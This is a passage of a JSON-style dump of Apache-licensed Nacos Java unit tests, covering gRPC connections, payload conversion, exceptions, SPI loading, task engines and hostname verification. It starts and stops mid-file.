}\n    \n    @Test\n    void testRequestFutureFailure() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            when(future.get()).thenReturn(errorResponsePayload);\n            RequestFuture requestFuture = connection.requestFuture(new HealthCheckRequest());\n            assertTrue(requestFuture.isDone());\n            requestFuture.get();\n        });\n    }\n    \n    @Test\n    void testRequestFutureWithTimeoutFailure() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            when(future.get(100L, TimeUnit.MILLISECONDS)).thenReturn(errorResponsePayload);\n            RequestFuture requestFuture = connection.requestFuture(new HealthCheckRequest());\n            assertTrue(requestFuture.isDone());\n            requestFuture.get(100L);\n        });\n    }\n    \n    @Test\n    void testSendResponse() {\n        connection.sendResponse(new HealthCheckResponse());\n        verify(payloadStreamObserver).onNext(any(Payload.class));\n    }\n    \n    @Test\n    void testSendRequest() {\n        connection.sendRequest(new HealthCheckRequest());\n        verify(payloadStreamObserver).onNext(any(Payload.class));\n    }\n    \n    @Test\n    void testAsyncRequestSuccess() throws NacosException {\n        doAnswer(invocationOnMock -> {\n            ((Runnable) invocationOnMock.getArgument(0)).run();\n            return null;\n        }).when(future).addListener(any(Runnable.class), eq(executor));\n        RequestCallBack requestCallBack = mock(RequestCallBack.class);\n        connection.asyncRequest(new HealthCheckRequest(), requestCallBack);\n        verify(requestCallBack).onResponse(any(HealthCheckResponse.class));\n    }\n    \n    @Test\n    void testAsyncRequestError() throws NacosException, ExecutionException, InterruptedException {\n        when(future.get()).thenReturn(errorResponsePayload);\n        doAnswer(invocationOnMock -> {\n            ((Runnable) invocationOnMock.getArgument(0)).run();\n            return null;\n        }).when(future).addListener(any(Runnable.class), eq(executor));\n        RequestCallBack requestCallBack = mock(RequestCallBack.class);\n        connection.asyncRequest(new HealthCheckRequest(), requestCallBack);\n        verify(requestCallBack).onException(any(NacosException.class));\n    }\n    \n    @Test\n    void testAsyncRequestNullResponse() throws NacosException, ExecutionException, InterruptedException {\n        byte[] jsonBytes = JacksonUtils.toJsonBytes(null);\n        Metadata.Builder metaBuilder = Metadata.newBuilder().setType(HealthCheckResponse.class.getSimpleName());\n        Payload nullResponsePayload = Payload.newBuilder()\n                .setBody(Any.newBuilder().setValue(UnsafeByteOperations.unsafeWrap(jsonBytes))).setMetadata(metaBuilder.build())\n                .build();\n        when(future.get()).thenReturn(nullResponsePayload);\n        doAnswer(invocationOnMock -> {\n            ((Runnable) invocationOnMock.getArgument(0)).run();\n            return null;\n        }).when(future).addListener(any(Runnable.class), eq(executor));\n        RequestCallBack requestCallBack = mock(RequestCallBack.class);\n        connection.asyncRequest(new HealthCheckRequest(), requestCallBack);\n        verify(requestCallBack).onException(any(NacosException.class));\n    }\n    \n    @Test\n    void testAsyncRequestWithCancelException() throws NacosException, ExecutionException, InterruptedException {\n        when(future.get()).thenThrow(new CancellationException(\"test\"));\n        doAnswer(invocationOnMock -> {\n            ((Runnable) invocationOnMock.getArgument(0)).run();\n            return null;\n        }).when(future).addListener(any(Runnable.class), eq(executor));\n        RequestCallBack requestCallBack = mock(RequestCallBack.class);\n        connection.asyncRequest(new HealthCheckRequest(), requestCallBack);\n        verify(requestCallBack).onException(any(TimeoutException.class));\n    }\n    \n    @Test\n    void testAsyncRequestWithOtherException() throws NacosException, ExecutionException, InterruptedException {\n        when(future.get()).thenThrow(new RuntimeException(\"test\"));\n        doAnswer(invocationOnMock -> {\n            ((Runnable) invocationOnMock.getArgument(0)).run();\n            return null;\n        }).when(future).addListener(any(Runnable.class), eq(executor));\n        RequestCallBack requestCallBack = mock(RequestCallBack.class);\n        connection.asyncRequest(new HealthCheckRequest(), requestCallBack);\n        verify(requestCallBack).onException(any(RuntimeException.class));\n    }\n    \n    @Test\n    void testCloseWithException() {\n        doThrow(new RuntimeException(\"test\")).when(payloadStreamObserver).onCompleted();\n        when(channel.shutdownNow()).thenThrow(new RuntimeException(\"test\"));\n        connection.close();\n        // don't throw any exception\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcConstantsTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass GrpcConstantsTest {\n    \n    @Test\n    void testGetRpcParams() {\n        Class clazz = GrpcConstants.class;\n        Field[] declaredFields = clazz.getDeclaredFields();\n        int i = 0;\n        for (Field declaredField : declaredFields) {\n            declaredField.setAccessible(true);\n            if (declaredField.getType().equals(String.class) && null != declaredField.getAnnotation(\n                    GrpcConstants.GRpcConfigLabel.class)) {\n                i++;\n            }\n        }\n        assertEquals(i, GrpcConstants.getRpcParams().size());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcSdkClientTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass GrpcSdkClientTest {\n    \n    GrpcSdkClient grpcSdkClient;\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        System.clearProperty(GrpcConstants.NACOS_SERVER_GRPC_PORT_OFFSET_KEY);\n        if (grpcSdkClient != null) {\n            grpcSdkClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testAbilityMode() {\n        grpcSdkClient = new GrpcSdkClient(\"test\");\n        assertEquals(AbilityMode.SDK_CLIENT, grpcSdkClient.abilityMode());\n    }\n    \n    @Test\n    void testRpcPortOffsetDefault() {\n        grpcSdkClient = new GrpcSdkClient(\"test\");\n        assertEquals(1000, grpcSdkClient.rpcPortOffset());\n    }\n    \n    @Test\n    void testRpcPortOffsetFromSystemProperty() {\n        System.setProperty(GrpcConstants.NACOS_SERVER_GRPC_PORT_OFFSET_KEY, \"10000\");\n        grpcSdkClient = new GrpcSdkClient(\"test\", 8, 8, Collections.emptyMap());\n        assertEquals(10000, grpcSdkClient.rpcPortOffset());\n    }\n    \n    @Test\n    void testGrpcClientByConfig() {\n        GrpcClientConfig config = DefaultGrpcClientConfig.newBuilder().setName(\"test111\").build();\n        grpcSdkClient = new GrpcSdkClient(config);\n        assertEquals(\"test111\", grpcSdkClient.getName());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcUtilsTest.java",
    "content": "/*\n *\n *  * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *  *\n *  * Licensed under the Apache License, Version 2.0 (the \"License\");\n *  * you may not use this file except in compliance with the License.\n *  * You may obtain a copy of the License at\n *  *\n *  *      http://www.apache.org/licenses/LICENSE-2.0\n *  *\n *  * Unless required by applicable law or agreed to in writing, software\n *  * distributed under the License is distributed on an \"AS IS\" BASIS,\n *  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  * See the License for the specific language governing permissions and\n *  * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse;\nimport com.alibaba.nacos.api.grpc.auto.Metadata;\nimport com.alibaba.nacos.api.grpc.auto.Payload;\nimport com.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.common.remote.PayloadRegistry;\nimport com.alibaba.nacos.common.remote.exception.RemoteException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass GrpcUtilsTest {\n    \n    private ServiceQueryRequest request;\n    \n    private ClientConfigMetricResponse response;\n    \n    @BeforeEach\n    void setup() {\n        PayloadRegistry.init();\n        this.request = createRequest();\n        this.response = createResponse();\n    }\n    \n    private ClientConfigMetricResponse createResponse() {\n        ClientConfigMetricResponse clientConfigMetricResponse = new ClientConfigMetricResponse();\n        clientConfigMetricResponse.setMetrics(new HashMap<String, Object>() {\n            {\n                put(\"m1\", \"v1\");\n                put(\"m2\", \"v2\");\n                put(\"m3\", \"v3\");\n            }\n        });\n        return clientConfigMetricResponse;\n    }\n    \n    private ServiceQueryRequest createRequest() {\n        ServiceQueryRequest request = new ServiceQueryRequest();\n        request.setCluster(\"cluster\");\n        request.setHealthyOnly(true);\n        request.setNamespace(\"namespace\");\n        \n        //headers\n        request.putHeader(\"h1\", \"v1\");\n        request.putHeader(\"h2\", \"v2\");\n        request.putHeader(\"h3\", \"v3\");\n        return request;\n    }\n    \n    @Test\n    void testConvertRequest() {\n        Payload convert = GrpcUtils.convert(request);\n        assertEquals(request.getClass().getSimpleName(), convert.getMetadata().getType());\n        assertEquals(\"v1\", convert.getMetadata().getHeadersMap().get(\"h1\"));\n        assertEquals(\"v2\", convert.getMetadata().getHeadersMap().get(\"h2\"));\n        assertEquals(\"v3\", convert.getMetadata().getHeadersMap().get(\"h3\"));\n    }\n    \n    @Test\n    void testConvertRequestWithMeta() {\n        RequestMeta meta = new RequestMeta();\n        Payload convert = GrpcUtils.convert(request, meta);\n        assertEquals(request.getClass().getSimpleName(), convert.getMetadata().getType());\n        assertEquals(\"v1\", convert.getMetadata().getHeadersMap().get(\"h1\"));\n        assertEquals(\"v2\", convert.getMetadata().getHeadersMap().get(\"h2\"));\n        assertEquals(\"v3\", convert.getMetadata().getHeadersMap().get(\"h3\"));\n    }\n    \n    @Test\n    void testConvertResponse() {\n        Payload convert = GrpcUtils.convert(response);\n        assertEquals(response.getClass().getSimpleName(), convert.getMetadata().getType());\n    }\n    \n    @Test\n    void testParse() {\n        Payload requestPayload = GrpcUtils.convert(request);\n        \n        ServiceQueryRequest request = (ServiceQueryRequest) GrpcUtils.parse(requestPayload);\n        assertEquals(this.request.getHeaders(), request.getHeaders());\n        assertEquals(this.request.getCluster(), request.getCluster());\n        assertEquals(this.request.isHealthyOnly(), request.isHealthyOnly());\n        assertEquals(this.request.getNamespace(), request.getNamespace());\n        \n        Payload responsePayload = GrpcUtils.convert(response);\n        ClientConfigMetricResponse response = (ClientConfigMetricResponse) GrpcUtils.parse(responsePayload);\n        assertEquals(this.response.getMetrics(), response.getMetrics());\n        \n    }\n    \n    @Test\n    void testParseNullType() {\n        assertThrows(RemoteException.class, () -> {\n            Payload mockPayload = mock(Payload.class);\n            Metadata mockMetadata = mock(Metadata.class);\n            when(mockPayload.getMetadata()).thenReturn(mockMetadata);\n            GrpcUtils.parse(mockPayload);\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/exception/RemoteExceptionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.exception;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass RemoteExceptionTest {\n    \n    @Test\n    void testConnectionAlreadyClosedException() {\n        ConnectionAlreadyClosedException exception = new ConnectionAlreadyClosedException(\"test message\");\n        \n        assertEquals(600, exception.getErrCode());\n        assertEquals(\"errCode: 600, errMsg: test message \", exception.getMessage());\n        assertNull(exception.getCause());\n        \n        exception = new ConnectionAlreadyClosedException();\n        \n        assertEquals(600, exception.getErrCode());\n        assertNull(exception.getMessage());\n        assertNull(exception.getCause());\n        \n        RuntimeException caused = new RuntimeException(\"test cause\");\n        exception = new ConnectionAlreadyClosedException(caused);\n        assertEquals(600, exception.getErrCode());\n        assertEquals(caused, exception.getCause());\n        assertEquals(\"java.lang.RuntimeException: test cause\", exception.getMessage());\n    }\n    \n    @Test\n    void testConnectionBusyException() {\n        String msg = \"Connection is busy\";\n        ConnectionBusyException exception = new ConnectionBusyException(msg);\n        \n        assertEquals(601, exception.getErrCode());\n        assertEquals(\"errCode: 601, errMsg: \" + msg + \" \", exception.getMessage());\n        assertNull(exception.getCause());\n        \n        RuntimeException caused = new RuntimeException(\"test cause\");\n        exception = new ConnectionBusyException(caused);\n        \n        assertEquals(601, exception.getErrCode());\n        assertEquals(caused, exception.getCause());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/spi/NacosServiceLoaderTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.spi;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collection;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass NacosServiceLoaderTest {\n    \n    @AfterEach\n    void tearDown() {\n        SpiTestImpl.newInstanceException = false;\n    }\n    \n    @Test\n    void testLoad() {\n        Collection<SpiTestInterface> actual = NacosServiceLoader.load(SpiTestInterface.class);\n        assertEquals(1, actual.size());\n        assertEquals(SpiTestImpl.class, actual.iterator().next().getClass());\n    }\n    \n    @Test\n    void newServiceInstances() {\n        SpiTestInterface loadInstance = NacosServiceLoader.load(SpiTestInterface.class).iterator().next();\n        Collection<SpiTestInterface> actual = NacosServiceLoader.newServiceInstances(SpiTestInterface.class);\n        assertEquals(1, actual.size());\n        assertEquals(SpiTestImpl.class, actual.iterator().next().getClass());\n        assertNotEquals(loadInstance, actual.iterator().next());\n    }\n    \n    @Test\n    void newServiceInstancesWithException() {\n        NacosServiceLoader.load(SpiTestInterface.class);\n        SpiTestImpl.newInstanceException = true;\n        try {\n            NacosServiceLoader.newServiceInstances(SpiTestInterface.class);\n        } catch (ServiceLoaderException e) {\n            assertEquals(SpiTestImpl.class, e.getClazz());\n            assertEquals(\"Can not load class `\" + SpiTestImpl.class.getName() + \"` by SPI \", e.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/spi/SpiTestImpl.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.spi;\n\npublic class SpiTestImpl implements SpiTestInterface {\n    \n    public static boolean newInstanceException;\n    \n    public SpiTestImpl() throws IllegalAccessException {\n        if (newInstanceException) {\n            throw new IllegalAccessException(\"test\");\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/spi/SpiTestInterface.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.spi;\n\npublic interface SpiTestInterface {\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/task/engine/NacosDelayTaskExecuteEngineTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.internal.verification.Times;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosDelayTaskExecuteEngineTest {\n    \n    private NacosDelayTaskExecuteEngine nacosDelayTaskExecuteEngine;\n    \n    @Mock\n    private NacosTaskProcessor taskProcessor;\n    \n    @Mock\n    private NacosTaskProcessor testTaskProcessor;\n    \n    private AbstractDelayTask abstractTask;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        nacosDelayTaskExecuteEngine = new NacosDelayTaskExecuteEngine(NacosDelayTaskExecuteEngineTest.class.getName());\n        nacosDelayTaskExecuteEngine.setDefaultTaskProcessor(taskProcessor);\n        abstractTask = new AbstractDelayTask() {\n            @Override\n            public void merge(AbstractDelayTask task) {\n            }\n        };\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        nacosDelayTaskExecuteEngine.shutdown();\n    }\n    \n    @Test\n    void testSize() {\n        assertEquals(0, nacosDelayTaskExecuteEngine.size());\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        assertEquals(1, nacosDelayTaskExecuteEngine.size());\n        nacosDelayTaskExecuteEngine.removeTask(\"test\");\n        assertEquals(0, nacosDelayTaskExecuteEngine.size());\n    }\n    \n    @Test\n    void testIsEmpty() {\n        assertTrue(nacosDelayTaskExecuteEngine.isEmpty());\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        assertFalse(nacosDelayTaskExecuteEngine.isEmpty());\n        nacosDelayTaskExecuteEngine.removeTask(\"test\");\n        assertTrue(nacosDelayTaskExecuteEngine.isEmpty());\n    }\n    \n    @Test\n    void testAddProcessor() throws InterruptedException {\n        when(testTaskProcessor.process(abstractTask)).thenReturn(true);\n        nacosDelayTaskExecuteEngine.addProcessor(\"test\", testTaskProcessor);\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(200);\n        verify(testTaskProcessor).process(abstractTask);\n        verify(taskProcessor, never()).process(abstractTask);\n        assertEquals(1, nacosDelayTaskExecuteEngine.getAllProcessorKey().size());\n    }\n    \n    @Test\n    void testRemoveProcessor() throws InterruptedException {\n        when(taskProcessor.process(abstractTask)).thenReturn(true);\n        nacosDelayTaskExecuteEngine.addProcessor(\"test\", testTaskProcessor);\n        nacosDelayTaskExecuteEngine.removeProcessor(\"test\");\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(200);\n        verify(testTaskProcessor, never()).process(abstractTask);\n        verify(taskProcessor).process(abstractTask);\n    }\n    \n    @Test\n    void testRetryTaskAfterFail() throws InterruptedException {\n        when(taskProcessor.process(abstractTask)).thenReturn(false, true);\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(300);\n        verify(taskProcessor, new Times(2)).process(abstractTask);\n    }\n    \n    @Test\n    void testProcessorWithException() throws InterruptedException {\n        when(taskProcessor.process(abstractTask)).thenThrow(new RuntimeException(\"test\"));\n        nacosDelayTaskExecuteEngine.addProcessor(\"test\", testTaskProcessor);\n        nacosDelayTaskExecuteEngine.removeProcessor(\"test\");\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(150);\n        assertEquals(1, nacosDelayTaskExecuteEngine.size());\n    }\n    \n    @Test\n    void testTaskShouldNotExecute() throws InterruptedException {\n        nacosDelayTaskExecuteEngine.addProcessor(\"test\", testTaskProcessor);\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        abstractTask.setTaskInterval(10000L);\n        abstractTask.setLastProcessTime(System.currentTimeMillis());\n        TimeUnit.MILLISECONDS.sleep(200);\n        verify(testTaskProcessor, never()).process(abstractTask);\n        assertEquals(1, nacosDelayTaskExecuteEngine.size());\n    }\n    \n    @Test\n    void testTaskMerge() {\n        nacosDelayTaskExecuteEngine.addProcessor(\"test\", testTaskProcessor);\n        nacosDelayTaskExecuteEngine.addTask(\"test\", abstractTask);\n        nacosDelayTaskExecuteEngine.addTask(\"test\", new AbstractDelayTask() {\n            @Override\n            public void merge(AbstractDelayTask task) {\n                setLastProcessTime(task.getLastProcessTime());\n                setTaskInterval(task.getTaskInterval());\n            }\n        });\n        assertEquals(1, nacosDelayTaskExecuteEngine.size());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/task/engine/NacosExecuteTaskExecuteEngineTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.task.AbstractExecuteTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosExecuteTaskExecuteEngineTest {\n    \n    @Mock\n    NacosTaskProcessor taskProcessor;\n    \n    String cachedProcessor;\n    \n    private NacosExecuteTaskExecuteEngine executeTaskExecuteEngine;\n    \n    @Mock\n    private AbstractExecuteTask task;\n    \n    @BeforeEach\n    void setUp() {\n        cachedProcessor = System.getProperty(\"nacos.common.processors\");\n        System.setProperty(\"nacos.common.processors\", \"1\");\n        executeTaskExecuteEngine = new NacosExecuteTaskExecuteEngine(\"TEST\", null);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        System.setProperty(\"nacos.common.processors\", null == cachedProcessor ? \"\" : cachedProcessor);\n        executeTaskExecuteEngine.shutdown();\n    }\n    \n    @Test\n    void testAddTask() throws InterruptedException {\n        executeTaskExecuteEngine.addTask(\"test\", task);\n        TimeUnit.SECONDS.sleep(1);\n        verify(task).run();\n        assertTrue(executeTaskExecuteEngine.isEmpty());\n        assertEquals(0, executeTaskExecuteEngine.size());\n    }\n    \n    @Test\n    void testAddTaskByProcessor() throws InterruptedException {\n        executeTaskExecuteEngine.addProcessor(\"test\", taskProcessor);\n        executeTaskExecuteEngine.addTask(\"test\", task);\n        verify(taskProcessor).process(task);\n        assertTrue(executeTaskExecuteEngine.isEmpty());\n        assertEquals(0, executeTaskExecuteEngine.size());\n    }\n    \n    @Test\n    void testRemoveTask() {\n        assertThrows(UnsupportedOperationException.class, () -> {\n            executeTaskExecuteEngine.removeTask(task);\n        });\n    }\n    \n    @Test\n    void testGetAllTaskKeys() {\n        assertThrows(UnsupportedOperationException.class, () -> {\n            executeTaskExecuteEngine.getAllTaskKeys();\n        });\n    }\n    \n    @Test\n    void testWorkersStatus() {\n        assertEquals(\"TEST_0%1, pending tasks: 0\\n\", executeTaskExecuteEngine.workersStatus());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/tls/SelfHostnameVerifierTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLSession;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass SelfHostnameVerifierTest {\n    \n    @Mock\n    HostnameVerifier hostnameVerifier;\n    \n    @Mock\n    SSLSession sslSession;\n    \n    SelfHostnameVerifier selfHostnameVerifier;\n    \n    @BeforeEach\n    void setUp() {\n        selfHostnameVerifier = new SelfHostnameVerifier(hostnameVerifier);\n        doReturn(false).when(hostnameVerifier).verify(anyString(), eq(sslSession));\n    }\n    \n    @Test\n    void testVerify() {\n        assertTrue(selfHostnameVerifier.verify(\"localhost\", sslSession));\n        assertTrue(selfHostnameVerifier.verify(\"127.0.0.1\", sslSession));\n        assertTrue(selfHostnameVerifier.verify(\"10.10.10.10\", sslSession));\n        // hit cache\n        assertTrue(selfHostnameVerifier.verify(\"10.10.10.10\", sslSession));\n        \n        assertFalse(selfHostnameVerifier.verify(\"\", sslSession));\n        assertFalse(selfHostnameVerifier.verify(null, sslSession));\n        verify(hostnameVerifier, times(2)).verify(any(), eq(sslSession));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/tls/SelfTrustManagerTest.java",
